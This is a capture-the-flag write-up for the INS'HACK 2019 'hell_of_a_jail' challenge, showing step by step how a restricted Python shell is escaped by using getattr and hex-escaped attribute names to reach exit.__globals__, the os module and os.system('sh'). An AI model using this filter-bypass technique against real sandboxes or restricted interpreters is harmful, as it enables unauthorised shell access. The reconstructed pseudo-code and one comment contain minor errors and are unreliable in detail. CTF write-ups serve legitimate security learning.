# hell_of_a_jail

INS'HACK 2019 - Pwn (78 pts).

# INS’HACK 2019: hell_of_a_jail

### Challenge details

Event Challenge Category Points Solves
INS’HACK 2019 hell_of_a_jail Pwn 78 44

#### Description

A guy from FBI found about your Ruby programming activities and has put you inside a python Jail ! Find your way out ! ssh -i -p 2222 user@hell-of-a-jail.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.

### TL;DR

Using getattr() to access to exit.__code__, to understand how the function works. Then access the os module via exit.__globals__, to get a shell.

### Enumeration

 ___           _   _            _      ____   ___  _  ___
|_ _|_ __  ___| | | | __ _  ___| | __ |___ \ / _ \/ |/ _ \
| || '_ \/ __| |_| |/ _ |/ __| |/ /   __) | | | | | (_) |
| || | | \__ \  _  | (_| | (__|   <   / __/| |_| | |\__, |
|___|_| |_|___/_| |_|\__,_|\___|_|\_\ |_____|\___/|_|  /_/

===========================================================

You are accessing a sandbox challenge over SSH
This sandbox will be killed soon enough.

===========================================================
Oh my jail ! You need to exit() with the correct key.
It might make you free (and give you the flag)
>>>


The challenge is a PyJail, the interesting function is exit(). But before we look at it, let’s see what we can use in the jail.

Here are some tests I have performed:

>>> xxxxxxxxxxxxxxxxxxxx
Traceback (most recent call last):
File "<console>", line 1, in <module>
NameError: name 'xxxxxxxxxxxxxx' is not defined
>>> xx.xx
Traceback (most recent call last):
File "<console>", line 1, in <module>
NameError: name 'xxxx' is not defined
>>> xxx_xxx__xxx
Traceback (most recent call last):
File "<console>", line 1, in <module>
NameError: name 'xxx_xxxxxx' is not defined
>>> print 1
File "<console>", line 1
print 1
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(1)?
>>> a=1
>>> print(a)
1


Several deductions can be made from these different tests: - . and __ are filtred - Max line lenght is 14 chars, next chars are removed - We can call functions and define variables - The jail is using Python 3 - However, several elements are not defined, such as: dir, eval, import, globals

### exit()

Now that we know what is possible and impossible to do, we look at the exit() function. According to the jail, you have to pass a key to exit(), in order to find it we will have to dig into it. But how to do it without being able to use dir(), . and __ ?

After a while I remembered about the getattr function, when I reread my writeup from the Mirror Mirror PyJail. It allows to access an attribute of an object without using a point and moreover by using a string as attribute name.

So we can use it to access the exit() attributes, I will focus on __code__. However, we must take into account all the constraints, which we found previously.

Here is what we want to recover: exit.__code__

>>> a='\x5f\x5f' # a = '__'
>>> b=a+'code'+a # b = '__code__'
>>> c=exit       # c = exit
>>> d=getattr(c,b) # d = getattr(exit, '__code__')
>>> d
<code object exit at 0x7f27baa07930, file "jail.py", line 24>


Now that we have retrieved exit.__code__, we will search for exit.__code__.co_consts, as it contains all the constants of the function, the key may be inside.

>>> e='co_consts'  # e = 'co_consts'
>>> f=getattr(d,e) # f = getattr(exit.__code__, 'co_consts')
>>> f
('Must invoke with the right arg in order to get the flag.', '0f4d0db3668dd58cabb9eb409657eaa8', 'Oh no ! You managed to escape\nValidate with the key', 0, 'Wrong key', None)


0f4d0db3668dd58cabb9eb409657eaa8, seems very promissing… I try to pass it to exit(), but it doesn’t validate. I realize that it’s the MD5 of FLAG, so I test, but always the same result, Wrong key.

It is therefore necessary to go further.

So I’m focusing on exit.__code__.co_names (a tuple of names of globals and attributes that are used by the function’s code).

>>> g='co_names'   # g = 'co_consts'
>>> h=getattr(d,g) # h = getattr(exit.__code__, 'co_names')
>>> h
('os', 'environ', 'print', 'sys', 'exit')


From what is used in the function, we can deduce its overall functioning:

def exit(x)
if (x === os.environ['0f4d0db3668dd58cabb9eb409657eaa8']):
print('Oh no ! You managed to escape\nValidate with the key')
sys.exit(0)
else:
print('Wrong key')


It’s possible to have its exact functioning by using the co_code attribute, which contains the function’s python bytecode. But we’re not going to do it, here’s an example by switch.

### Shell

We assume that the flag is in the user’s environment variables, to access it there are several possibilities, either access os.environ, or retrieve a shell on the server, which we will do.

We saw that the os module was used in exit(), so it must be in accessible from __globals__.

>>> a='\x5f\x5f'   # a = '__'
>>> b=a+'globals'  # b = '__globals'
>>> c=b+a          # c = '__globals__'
>>> d=exit         # d = exit
>>> e=getattr(d,c) # e = getattr(exit, '__globals__')
>>> e
{'__name__': '__main__',
'__doc__': 'Unobfuscated source for Hell of a jaill.',
'__package__': None,
'__spec__': None,
'__annotations__': {},
'__builtins__': <module 'builtins' (built-in)>,
'__file__': 'jail.pyc',
'__cached__': None,
'os': <module 'os' from '/usr/local/lib/python3.7/os.py'>,
'sys': <module 'sys' (built-in)>,
'code': <module 'code' from '/usr/local/lib/python3.7/code.py'>,
'signal': <module 'signal' from '/usr/local/lib/python3.7/signal.py'>,
'handler': <function handler at 0x7ff0cfa61bf8>,
'user_input': <function user_input at 0x7ff0cf9ba8c8>,
'exit': <function exit at 0x7ff0cf9ba950>,
'sandbox': <function sandbox at 0x7ff0cf9ba9d8>}


Here we go, we have access to os, it’s the home stretch. We use os.system('sh'), to get a shell:

>>> f=e['os']      # f = exit.__globals__['os']
>>> g='system'     # g = 'system'
>>> h=getattr(f,g) # h = getattr(os, 'system')
>>> h('sh')        # os.system('sh')

/sandbox \$ env
PYTHON_PIP_VERSION=19.0.3
SHLVL=3
HOME=/home/sandbox
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
TERM=xterm
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.7.3
PWD=/sandbox
`